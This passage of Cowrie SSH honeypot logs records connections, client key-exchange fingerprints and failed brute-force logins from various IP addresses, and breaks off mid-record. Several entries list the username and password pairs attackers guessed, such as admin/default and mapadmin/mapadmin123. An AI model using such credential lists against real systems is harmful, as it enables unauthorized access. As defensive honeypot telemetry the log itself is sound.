{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ff:a1:c1:ff:ce:92:9d:d3:0a:7e:1a:92:55:72:04:02","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCw8k9Xw4fcyu9MqzGWYMhbndTpQO80PuqvkJ9WeumLTF3LGTBYvS9k6lfB8ww/zEPVA4h32AjKoYwkmMFmvg4aersjRmbVOZaz8DW1ZYJDbUT06QfUV9KokdAkHI9z7NTyFcG8hdwKaGNV7CgZEuzTkLqYRBcMlhX837gZMGC09pZ+5BUi7Gcd+QMBfFtQsrphQlvsaH8sMDK9mwUJDuehtfZLjwJaTLbF0DFC+iBUZkSHl7uAnDpaecFWx6Nyx9lmXn1xe3UWY/nKOhAigNuJkMmQTFuWx+HgqwcQ62WcYH9E2Y5LOJOHG6uIIcyFg/kGeYyXppSF0UB0hBIetZ7FCld129QXJ6TSXTdwIwDDiBE3C8gQDEHUJZBien35M6GoejRAVacu8T6lehX7RtnX0KkgKWhvrpz5foQEPGCxfkbYUEMLi3Ho+9qtiEUAhz6Pe4TOGm03HANtgMWSdNj9Uv2GB1NNhEakDQ9kg9K33uxX/LjzVhqYQszMx+z1dGRq0jQuRObBjV1yorCGkYx5JbcU4LBmYCB4r2AkV2OAdb2LhXzJRkzeIyeK/brm+LxO0196ynaJJ3eh+elbTJBpzl7mrzeDY0ewtlhe97TSjtiXcTxveZ0iXvDol4i4zNNGKCjIoSFQgYlDfYgs3HVuIZwCr60WVo293Q5SQNXXPw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:50:04.614790Z","src_ip":"191.241.76.128","session":"588c8f420935","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0c:5d:02:bf:ce:65:24:fd:d1:fc:a9:f5:26:68:af:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDGJjOAPVQIBmo3iAVo9BmW42hl3MmbZdlr/7c8CstZ2YBdZLKvczKeuthDyxGp/LPL36GQHlokLcOJjZvr9izS+uwsAmJtCSm8XtkJtX+174vh+jU+DBBfbc8X2/I+i9V0RNzT6X4oLXHBnwDlLbCvdh87zMAuSqoky+QHXIKz37lsBXIvhHjU7TqXLxCC44DpoyLICbQKUY0Tzzx8B2MITETCIgYG9UhbQvNmTUfHB/iZUt2ZsnhELa5O8WzrkihctnTDjnBu9JBrLDKW1hMBR+I74m1/8KgO55v96KQZEHh2assdi+zigDSOU0anT3/XaX+1p7Lkz487V30wP2EYJTYpR6LrLUQ2rvpShLfJtH6srSHpwJ3yFiKfhLku01TtjdgnWDoX8f6Svkr02CFxKZAhdT3VPrWduZsoQqG6lsrbdoFBPpRho7KfT9eQLu16UVvov9NYEBY34RU8w80zuJ3vw5Ec9ic2c8eNNnsmBgHAzjOGPrla8eCS/Hb8QPxi0N+2h5u7oFoxankNaTJCvOPbLB9emeqNLjGwAycoNIchAF0CkK+GLxJug5STdaELud34IY21mK1oxJ14hMGJCtCmKyqT+VejjjBKpnUndtmUJEzSg+sjld2sZJQEa0jTZ50z8goTBoeQbzgO0LbBw+oj0v8Vd/etXM0fpxx9EQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0c:5d:02:bf:ce:65:24:fd:d1:fc:a9:f5:26:68:af:6d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:50:04.802421Z","src_ip":"191.241.76.128","session":"588c8f420935","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0c:5d:02:bf:ce:65:24:fd:d1:fc:a9:f5:26:68:af:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDGJjOAPVQIBmo3iAVo9BmW42hl3MmbZdlr/7c8CstZ2YBdZLKvczKeuthDyxGp/LPL36GQHlokLcOJjZvr9izS+uwsAmJtCSm8XtkJtX+174vh+jU+DBBfbc8X2/I+i9V0RNzT6X4oLXHBnwDlLbCvdh87zMAuSqoky+QHXIKz37lsBXIvhHjU7TqXLxCC44DpoyLICbQKUY0Tzzx8B2MITETCIgYG9UhbQvNmTUfHB/iZUt2ZsnhELa5O8WzrkihctnTDjnBu9JBrLDKW1hMBR+I74m1/8KgO55v96KQZEHh2assdi+zigDSOU0anT3/XaX+1p7Lkz487V30wP2EYJTYpR6LrLUQ2rvpShLfJtH6srSHpwJ3yFiKfhLku01TtjdgnWDoX8f6Svkr02CFxKZAhdT3VPrWduZsoQqG6lsrbdoFBPpRho7KfT9eQLu16UVvov9NYEBY34RU8w80zuJ3vw5Ec9ic2c8eNNnsmBgHAzjOGPrla8eCS/Hb8QPxi0N+2h5u7oFoxankNaTJCvOPbLB9emeqNLjGwAycoNIchAF0CkK+GLxJug5STdaELud34IY21mK1oxJ14hMGJCtCmKyqT+VejjjBKpnUndtmUJEzSg+sjld2sZJQEa0jTZ50z8goTBoeQbzgO0LbBw+oj0v8Vd/etXM0fpxx9EQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:50:04.806859Z","src_ip":"191.241.76.128","session":"588c8f420935","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:50:04.961458Z","src_ip":"191.241.76.128","session":"588c8f420935","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"131.161.219.137","src_port":5536,"dst_ip":"159.203.135.109","dst_port":22,"session":"a807b7b27298","protocol":"ssh","message":"New connection: 131.161.219.137:5536 (159.203.135.109:22) [session: a807b7b27298]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:50:06.370367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:50:06.377089Z","src_ip":"131.161.219.137","session":"a807b7b27298","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:50:06.508558Z","src_ip":"131.161.219.137","session":"a807b7b27298","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fptuser","password":"fptuser","message":"login attempt [fptuser/fptuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:50:07.053055Z","src_ip":"131.161.219.137","session":"a807b7b27298","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:50:08.184801Z","src_ip":"131.161.219.137","session":"a807b7b27298","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.158.40.65","src_port":46362,"dst_ip":"159.203.135.109","dst_port":22,"session":"72d92df64292","protocol":"ssh","message":"New connection: 103.158.40.65:46362 (159.203.135.109:22) [session: 72d92df64292]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:50:11.592603Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:50:11.599009Z","src_ip":"103.158.40.65","session":"72d92df64292","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.114051342010498,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:50:11.805718Z","src_ip":"119.63.76.106","session":"e709e26365ad","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:50:11.815086Z","src_ip":"103.158.40.65","session":"72d92df64292","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mapadmin","password":"mapadmin123","message":"login attempt [mapadmin/mapadmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:50:12.702543Z","src_ip":"103.158.40.65","session":"72d92df64292","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:50:13.935742Z","src_ip":"103.158.40.65","session":"72d92df64292","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.97.227.163","src_port":41440,"dst_ip":"10.17.0.5","dst_port":22,"session":"a78b529ca734","protocol":"ssh","message":"New connection: 181.97.227.163:41440 (10.17.0.5:22) [session: a78b529ca734]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:50:30.390237Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:50:30.395221Z","src_ip":"181.97.227.163","session":"a78b529ca734","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:50:30.605781Z","src_ip":"181.97.227.163","session":"a78b529ca734","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teste1","password":"123","message":"login attempt [teste1/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:50:31.476434Z","src_ip":"181.97.227.163","session":"a78b529ca734","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.81.14.172","src_port":58062,"dst_ip":"10.17.0.5","dst_port":22,"session":"722cda89b6f4","protocol":"ssh","message":"New connection: 154.81.14.172:58062 (10.17.0.5:22) [session: 722cda89b6f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:50:31.883859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:50:31.888640Z","src_ip":"154.81.14.172","session":"722cda89b6f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:50:32.689244Z","src_ip":"181.97.227.163","session":"a78b529ca734","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:50:37.225396Z","src_ip":"154.81.14.172","session":"722cda89b6f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:50:37.232488Z","src_ip":"154.81.14.172","session":"722cda89b6f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.6.100.191","src_port":46976,"dst_ip":"159.203.135.109","dst_port":22,"session":"2bfd4960a74b","protocol":"ssh","message":"New connection: 201.6.100.191:46976 (159.203.135.109:22) [session: 2bfd4960a74b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:50:51.317132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:50:51.321885Z","src_ip":"201.6.100.191","session":"2bfd4960a74b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:50:51.449807Z","src_ip":"201.6.100.191","session":"2bfd4960a74b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"default","message":"login attempt [admin/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:50:51.984591Z","src_ip":"201.6.100.191","session":"2bfd4960a74b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:50:53.113222Z","src_ip":"201.6.100.191","session":"2bfd4960a74b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.125.103.201","src_port":40050,"dst_ip":"10.17.0.5","dst_port":22,"session":"f757d5102916","protocol":"ssh","message":"New connection: 103.125.103.201:40050 (10.17.0.5:22) [session: f757d5102916]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:51:01.162556Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:51:01.167301Z","src_ip":"103.125.103.201","session":"f757d5102916","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:51:01.411684Z","src_ip":"103.125.103.201","session":"f757d5102916","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser1","password":"ftp","message":"login attempt [ftpuser1/ftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:51:02.423156Z","src_ip":"103.125.103.201","session":"f757d5102916","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:51:03.670976Z","src_ip":"103.125.103.201","session":"f757d5102916","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"131.161.219.137","src_port":5620,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a47ab4fbbba","protocol":"ssh","message":"New connection: 131.161.219.137:5620 (159.203.135.109:22) [session: 7a47ab4fbbba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:51:04.353731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:51:04.358487Z","src_ip":"131.161.219.137","session":"7a47ab4fbbba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 